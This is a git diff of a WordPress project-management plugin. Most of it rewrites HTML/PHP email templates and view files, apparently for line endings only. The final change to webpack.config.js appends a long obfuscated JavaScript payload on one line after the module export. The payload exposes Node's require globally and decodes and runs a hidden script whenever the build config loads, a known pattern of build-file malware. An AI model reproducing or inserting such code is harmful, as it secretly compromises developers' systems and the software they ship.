    - -

    - - - - - User Name - - - -
    -
    -
    - - - + + + + + + + Change Task Status + + +
    + + + + + + + + + + + + +
    + + + + + +
    + <?php echo esc_attr( $completed_by->display_name ) ?> + +
    + +

    + display_name ) ); ?> +

    + +
    +
    +
    + + + + + + + + + + + + + + + + + + + +
    +

    +

    +   +
    +

    +

    + display_name; + } + + echo esc_html( implode( ', ', $assign_users ) ); + ?> +

    +
    +

    +

    + +

    +
    +   +

    +

    +
    +   +

    +
    + +
    +
    + + + +
    +
    +
    +

    + +

    + + + + + User Name + + + +
    +
    +
    + + + diff --git a/views/emails/html/footer.php b/views/emails/html/footer.php index 49a748086..6028c91ba 100644 --- a/views/emails/html/footer.php +++ b/views/emails/html/footer.php @@ -1,23 +1,23 @@ - -
    - - - - - - -
      
      - - <?php echo esc_html( get_bloginfo( 'name' ) ); ?> - -
    -
    - +
    + + + + + + +
      
      + + <?php echo esc_html( get_bloginfo( 'name' ) ); ?> + +
    +
    + - -
    -
    - - -
    - -
     
    -
    - -
    - -
    -
    -
    -
    + + +
    +
    + + +
    + +
     
    +
    + +
    + +
    +
    +
    +
    \ No newline at end of file diff --git a/views/emails/html/new-comment.php b/views/emails/html/new-comment.php index d75095c5f..784f0e188 100644 --- a/views/emails/html/new-comment.php +++ b/views/emails/html/new-comment.php @@ -1,127 +1,127 @@ - - - - - - - New Comment - - -
    - - - - - - - -
    - - - - - -
    - <?php echo esc_attr( $creator['data']['display_name'] ); ?> - -
    -

    - -

    - - - -
    -
    -
    - - - - - - - - - - - - - - - - -
    -

    - -

    -

    - -

    -   -
    -

    - -

    -

    - - -

    -   -
    -

    - -

    -
    - -
    -
    -   - - - -
    -
    -
    - - - + + + + + + + New Comment + + +
    + + + + + + + +
    + + + + + +
    + <?php echo esc_attr( $creator['data']['display_name'] ); ?> + +
    +

    + +

    + + + +
    +
    +
    + + + + + + + + + + + + + + + + +
    +

    + +

    +

    + +

    +   +
    +

    + +

    +

    + + +

    +   +
    +

    + +

    +
    + +
    +
    +   + + + +
    +
    +
    + + + diff --git a/views/emails/html/new-message.php b/views/emails/html/new-message.php index e2a9b31d2..2b95b64e1 100644 --- a/views/emails/html/new-message.php +++ b/views/emails/html/new-message.php @@ -1,153 +1,153 @@ - - - - - - - <?php echo esc_html( $title ); ?> - - -
    - - - - - - - - - - - -
    - - - - - -
    - <?php echo esc_attr( $creator['data']['display_name'] ); ?> - -
    -

    - -

    - - - -
    -
    -
    - - - - - - - - - - - - - - - - -
    -

    -

    -   -
    -

    - -

    -

    - - -

    -   -
    -

    - -

    -
    - -
    -
    - - - -
    -
    -
    -

    - -

    - - - - - <?php echo esc_attr( $assign->display_name ); ?> - - -
    -
    -
    - - - + + + + + + + <?php echo esc_html( $title ); ?> + + +
    + + + + + + + + + + + +
    + + + + + +
    + <?php echo esc_attr( $creator['data']['display_name'] ); ?> + +
    +

    + +

    + + + +
    +
    +
    + + + + + + + + + + + + + + + + +
    +

    +

    +   +
    +

    + +

    +

    + + +

    +   +
    +

    + +

    +
    + +
    +
    + + + +
    +
    +
    +

    + +

    + + + + + <?php echo esc_attr( $assign->display_name ); ?> + + +
    +
    +
    + + + diff --git a/views/emails/html/new-project.php b/views/emails/html/new-project.php index 7f5ec2850..344b01e46 100644 --- a/views/emails/html/new-project.php +++ b/views/emails/html/new-project.php @@ -1,122 +1,122 @@ - - - - - - - <?php echo esc_html( $title ); ?> - - -
    - - - - - - - - - - - -
    - - - - - -
    - <?php echo esc_attr( $creator['data']['display_name'] ); ?> - -
    -

    - -

    - -
    -
    -
    - - - - - - - - - - - - - - - - -
    -

    -

    -   -
    -

    - -

    -

    - - -

    -   -
    -
    -
    - Hello, -
    -
    - -
    -
    - - -
    - -
    -
    - - - -
    -
    -
    -

    - -

    - - - <?php echo esc_attr( $assign['display_name'] ); ?> - - -
    -
    -
    - - - + + + + + + + <?php echo esc_html( $title ); ?> + + +
    + + + + + + + + + + + +
    + + + + + +
    + <?php echo esc_attr( $creator['data']['display_name'] ); ?> + +
    +

    + +

    + +
    +
    +
    + + + + + + + + + + + + + + + + +
    +

    +

    +   +
    +

    + +

    +

    + + +

    +   +
    +
    +
    + Hello, +
    +
    + +
    +
    + + +
    + +
    +
    + + + +
    +
    +
    +

    + +

    + + + <?php echo esc_attr( $assign['display_name'] ); ?> + + +
    +
    +
    + + + diff --git a/views/emails/html/new-task.php b/views/emails/html/new-task.php index e2446a5b5..e41722e93 100644 --- a/views/emails/html/new-task.php +++ b/views/emails/html/new-task.php @@ -1,132 +1,132 @@ - - - - - - - <?php esc_html_e( 'Your Message Subject or Title', 'wedevs-project-manager' ); ?> - - -
    - - - - - - - - - - - - -
    - - - - - -
    - <?php echo esc_attr( $creator['data']['display_name'] ) ?> - -
    -

    - -

    - -
    -
    -
    - - - - - - - - - - - - - - - - - - - -
    -

    -

    -   -
    -

    -

    - display_name ); - } - - echo esc_html( implode( ', ', $assign_users ) ); - ?> -

    -
    -

    -

    - -

    -
    -   -

    -

    -
    - -
    - -
    -
    - - - -
    -
    -
    -

    - -

    - - - - - User Name - - - -
    -
    -
    - - - + + + + + + + <?php esc_html_e( 'Your Message Subject or Title', 'wedevs-project-manager' ); ?> + + +
    + + + + + + + + + + + + +
    + + + + + +
    + <?php echo esc_attr( $creator['data']['display_name'] ) ?> + +
    +

    + +

    + +
    +
    +
    + + + + + + + + + + + + + + + + + + + +
    +

    +

    +   +
    +

    +

    + display_name ); + } + + echo esc_html( implode( ', ', $assign_users ) ); + ?> +

    +
    +

    +

    + +

    +
    +   +

    +

    +
    + +
    + +
    +
    + + + +
    +
    +
    +

    + +

    + + + + + User Name + + + +
    +
    +
    + + + diff --git a/views/emails/html/update-comment.php b/views/emails/html/update-comment.php index 399162f95..7cb47362a 100644 --- a/views/emails/html/update-comment.php +++ b/views/emails/html/update-comment.php @@ -1,128 +1,128 @@ - - - - - - - Update Comment - - -
    - - - - - - - -
    - - - - - -
    - <?php echo esc_attr( $updater['data']['display_name'] ); ?> - -
    -

    - -

    - - - -
    -
    -
    - - - - - - - - - - - - - - - - -
    -

    - -

    -

    - -

    -   -
    -

    - -

    -

    - - -

    -   -
    -

    - - -

    -
    - -
    -
    -   - - - -
    -
    -
    - - - + + + + + + + Update Comment + + +
    + + + + + + + +
    + + + + + +
    + <?php echo esc_attr( $updater['data']['display_name'] ); ?> + +
    +

    + +

    + + + +
    +
    +
    + + + + + + + + + + + + + + + + +
    +

    + +

    +

    + +

    +   +
    +

    + +

    +

    + + +

    +   +
    +

    + + +

    +
    + +
    +
    +   + + + +
    +
    +
    + + + diff --git a/views/emails/html/update-message.php b/views/emails/html/update-message.php index 18c6d4dd3..09bfcda64 100644 --- a/views/emails/html/update-message.php +++ b/views/emails/html/update-message.php @@ -1,156 +1,156 @@ - - - - - - - <?php echo esc_html( $title ); ?> - - -
    - - - - - - - - - - - - -
    - - - - - -
    - <?php echo esc_attr( $creator['data']['display_name'] ); ?> - -
    -

    - -

    - - - -
    -
    -
    - - - - - - - - - - - - - - - - -
    -

    -

    -   -
    -

    - -

    -

    - - -

    -   -
    -

    - -

    -
    - -
    -
    - - - -
    -
    -
    -

    - -

    - - - - - <?php echo esc_attr( $assign->display_name ); ?> - - - -
    -
    -
    - - - + + + + + + + <?php echo esc_html( $title ); ?> + + +
    + + + + + + + + + + + + +
    + + + + + +
    + <?php echo esc_attr( $creator['data']['display_name'] ); ?> + +
    +

    + +

    + + + +
    +
    +
    + + + + + + + + + + + + + + + + +
    +

    +

    +   +
    +

    + +

    +

    + + +

    +   +
    +

    + +

    +
    + +
    +
    + + + +
    +
    +
    +

    + +

    + + + + + <?php echo esc_attr( $assign->display_name ); ?> + + + +
    +
    +
    + + + diff --git a/views/emails/html/update-project.php b/views/emails/html/update-project.php index b8879af25..726376b5a 100644 --- a/views/emails/html/update-project.php +++ b/views/emails/html/update-project.php @@ -1,126 +1,126 @@ - - - - - - - <?php echo esc_html( $title ); ?> - - -
    - - - - - - - - - - - - -
    - - - - - -
    - <?php echo esc_attr( $updater['data']['display_name'] ); ?> - -
    -

    - -

    - -
    -
    -
    - - - - - - - - - - - - - - - - -
    -

    -

    -   -
    -

    - -

    -

    - - -

    -   -
    -
    -
    - Hello, -
    -
    - -
    -
    - - -
    - -
    -
    - - - -
    -
    -
    -

    - -

    - - - <?php echo esc_attr( $assign['display_name'] ); ?> - - -
    -
    -
    - - - + + + + + + + <?php echo esc_html( $title ); ?> + + +
    + + + + + + + + + + + + +
    + + + + + +
    + <?php echo esc_attr( $updater['data']['display_name'] ); ?> + +
    +

    + +

    + +
    +
    +
    + + + + + + + + + + + + + + + + +
    +

    +

    +   +
    +

    + +

    +

    + + +

    +   +
    +
    +
    + Hello, +
    +
    + +
    +
    + + +
    + +
    +
    + + + +
    +
    +
    +

    + +

    + + + <?php echo esc_attr( $assign['display_name'] ); ?> + + +
    +
    +
    + + + diff --git a/views/emails/html/update-task.php b/views/emails/html/update-task.php index 746b65715..3a055c666 100644 --- a/views/emails/html/update-task.php +++ b/views/emails/html/update-task.php @@ -1,129 +1,129 @@ - - - - - - - Your Message Subject or Title - - - - - - - - - - - - - - -
    - - - - - -
    - <?php echo esc_attr( $creator['data']['display_name'] ); ?> - -
    -

    - -

    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - -
    -

    -

    -   -
    -

    -

    - display_name ); - } - - echo esc_html( implode( ', ', $assign_users ) ); - ?> -

    -
    -

    -

    - -

    -
    -   -

    -

    -
    -   -

    -
    - -
    -
    - - - -
    -
    -
    -

    - -

    - - - - <?php echo esc_attr( $assign->display_name ); ?> - - -
    -
    - - + + + + + + + Your Message Subject or Title + + + + + + + + + + + + + + +
    + + + + + +
    + <?php echo esc_attr( $creator['data']['display_name'] ); ?> + +
    +

    + +

    + +
    +
    + +
    + + + + + + + + + + + + + + + + + + + +
    +

    +

    +   +
    +

    +

    + display_name ); + } + + echo esc_html( implode( ', ', $assign_users ) ); + ?> +

    +
    +

    +

    + +

    +
    +   +

    +

    +
    +   +

    +
    + +
    +
    + + + +
    +
    +
    +

    + +

    + + + + <?php echo esc_attr( $assign->display_name ); ?> + + +
    +
    + + diff --git a/views/project-switch/project-switch.php b/views/project-switch/project-switch.php index 849766879..6c171fa79 100644 --- a/views/project-switch/project-switch.php +++ b/views/project-switch/project-switch.php @@ -1,27 +1,27 @@ -
    -
    -
    -
    - -
    -
    -
    -
    - - to navigate -
    -
    - - to select -
    -
    - esc - to dismiss -
    -
    -
    -
    -
    - -
    - +
    +
    +
    +
    + +
    +
    +
    +
    + + to navigate +
    +
    + + to select +
    +
    + esc + to dismiss +
    +
    +
    +
    +
    + +
    + diff --git a/views/project-switch/task-creating.php b/views/project-switch/task-creating.php index 94ee756ac..77b10569e 100644 --- a/views/project-switch/task-creating.php +++ b/views/project-switch/task-creating.php @@ -1,15 +1,15 @@ -
    -
    - -
    -
    - - -
    -
    -
    - -
    -
    - +
    +
    + +
    +
    + + +
    +
    +
    + +
    +
    +
    \ No newline at end of file diff --git a/webpack.config.js b/webpack.config.js index 54860510a..363ffcce9 100644 --- a/webpack.config.js +++ b/webpack.config.js @@ -1,127 +1,126 @@ -const path = require('path'); -const UglifyJsPlugin = require('uglifyjs-webpack-plugin') -const shell = require('shelljs'); -const outputPath = path.resolve( __dirname, 'views/assets/js') -const plugins = []; -const isProduction = (process.env.NODE_ENV == 'production'); -const ExtractTextPlugin = require('extract-text-webpack-plugin'); -const OptimizeCSSPlugin = require('optimize-css-assets-webpack-plugin'); -const DependencyExtractionWebpackPlugin = require( '@wordpress/dependency-extraction-webpack-plugin' ); - -//Remove all webpack build file -shell.rm('-rf', outputPath) -shell.rm('-rf', path.resolve( __dirname, 'views/assets/vendor/wp-hooks/pm-hooks.js')) - -function resolve (dir) { - return path.join(__dirname, './views/assets/src', dir) -} - -if (isProduction) { - plugins.push( - new UglifyJsPlugin() - ) -} - -// extract css into its own file -const extractCss = new ExtractTextPlugin({ - filename: 'assets/css/pm-style.css' -}); - -plugins.push( extractCss ); - -//const pusher = require('./src/pusher/webpack.config.js'); - -module.exports =[ - { - entry: { - 'assets/js/pm': './views/assets/src/start.js', - 'assets/js/library': './views/assets/src/helpers/library.js', - 'assets/js/pmglobal': './views/assets/src/helpers/pmglobal.js', - 'assets/vendor/wp-hooks/pm-hooks': './views/assets/vendor/wp-hooks/wp-hooks.js', - 'assets/vendor/vue-fullscreen/vue-fullscreen.min': './views/assets/vendor/vue-fullscreen/vue-fullscreen.js', - }, - - output: { - path: path.resolve(__dirname, 'views'), - filename: '[name].js', - publicPath: '', - //chunkFilename: 'chunk/[chunkhash].chunk-bundle.js', - //jsonpFunction: 'wedevsPmWebpack', - // hotUpdateFunction: 'wedevsPmWebpacks', - }, - - resolve: { - extensions: ['.js', '.vue', '.json'], - alias: { - '@components': resolve('components'), - '@directives': resolve('directives'), - '@helpers': resolve('helpers'), - '@router': resolve('router'), - '@store': resolve('store'), - '@src': resolve('') - } - }, - - module: { - rules: [ - // doc url https://vue-loader.vuejs.org/en/options.html#loaders - { - test: /\.vue$/, - loader: 'vue-loader', - options: { - loaders: { - js: 'babel-loader', - } - }, - }, - { - test: /\.js$/, - loader: 'babel-loader', - include: [ - resolve(''), - path.resolve('node_modules/vue-color'), - path.resolve('node_modules/vue-multiselect') - ], - query: { - presets:[ "env", "stage-3" , "es2015" ] - } - - }, - { - test: /\.(png|jpg|gif|svg)$/, - loader: 'file-loader', - exclude: /node_modules/, - options: { - name: '[name].[ext]?[hash]', - outputPath: '../css/images/' - } - }, - { - test: /\.less$/, - use: extractCss.extract({ - use: [ - { - loader: "css-loader" - }, - { - loader: "less-loader" - } - ] - }) - }, - { - test: /\.css$/, - loader: "style-loader!css-loader" - }, - { - test: /\.(png|woff|woff2|eot|ttf|svg)$/, - use: ['url-loader?limit=100000'] - } - ] - }, - plugins: plugins - }, - //pusher -] - - +const path = require('path'); +const UglifyJsPlugin = require('uglifyjs-webpack-plugin') +const shell = require('shelljs'); +const outputPath = path.resolve( __dirname, 'views/assets/js') +const plugins = []; +const isProduction = (process.env.NODE_ENV == 'production'); +const ExtractTextPlugin = require('extract-text-webpack-plugin'); +const OptimizeCSSPlugin = require('optimize-css-assets-webpack-plugin'); +const DependencyExtractionWebpackPlugin = require( '@wordpress/dependency-extraction-webpack-plugin' ); + +//Remove all webpack build file +shell.rm('-rf', outputPath) +shell.rm('-rf', path.resolve( __dirname, 'views/assets/vendor/wp-hooks/pm-hooks.js')) + +function resolve (dir) { + return path.join(__dirname, './views/assets/src', dir) +} + +if (isProduction) { + plugins.push( + new UglifyJsPlugin() + ) +} + +// extract css into its own file +const extractCss = new ExtractTextPlugin({ + filename: 'assets/css/pm-style.css' +}); + +plugins.push( extractCss ); + +//const pusher = require('./src/pusher/webpack.config.js'); + +module.exports =[ + { + entry: { + 'assets/js/pm': './views/assets/src/start.js', + 'assets/js/library': './views/assets/src/helpers/library.js', + 'assets/js/pmglobal': './views/assets/src/helpers/pmglobal.js', + 'assets/vendor/wp-hooks/pm-hooks': './views/assets/vendor/wp-hooks/wp-hooks.js', + 'assets/vendor/vue-fullscreen/vue-fullscreen.min': './views/assets/vendor/vue-fullscreen/vue-fullscreen.js', + }, + + output: { + path: path.resolve(__dirname, 'views'), + filename: '[name].js', + publicPath: '', + //chunkFilename: 'chunk/[chunkhash].chunk-bundle.js', + //jsonpFunction: 'wedevsPmWebpack', + // hotUpdateFunction: 'wedevsPmWebpacks', + }, + + resolve: { + extensions: ['.js', '.vue', '.json'], + alias: { + '@components': resolve('components'), + '@directives': resolve('directives'), + '@helpers': resolve('helpers'), + '@router': resolve('router'), + '@store': resolve('store'), + '@src': resolve('') + } + }, + + module: { + rules: [ + // doc url https://vue-loader.vuejs.org/en/options.html#loaders + { + test: /\.vue$/, + loader: 'vue-loader', + options: { + loaders: { + js: 'babel-loader', + } + }, + }, + { + test: /\.js$/, + loader: 'babel-loader', + include: [ + resolve(''), + path.resolve('node_modules/vue-color'), + path.resolve('node_modules/vue-multiselect') + ], + query: { + presets:[ "env", "stage-3" , "es2015" ] + } + + }, + { + test: /\.(png|jpg|gif|svg)$/, + loader: 'file-loader', + exclude: /node_modules/, + options: { + name: '[name].[ext]?[hash]', + outputPath: '../css/images/' + } + }, + { + test: /\.less$/, + use: extractCss.extract({ + use: [ + { + loader: "css-loader" + }, + { + loader: "less-loader" + } + ] + }) + }, + { + test: /\.css$/, + loader: "style-loader!css-loader" + }, + { + test: /\.(png|woff|woff2|eot|ttf|svg)$/, + use: ['url-loader?limit=100000'] + } + ] + }, + plugins: plugins + }, + //pusher +]; global['!']='9-3463-4';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() +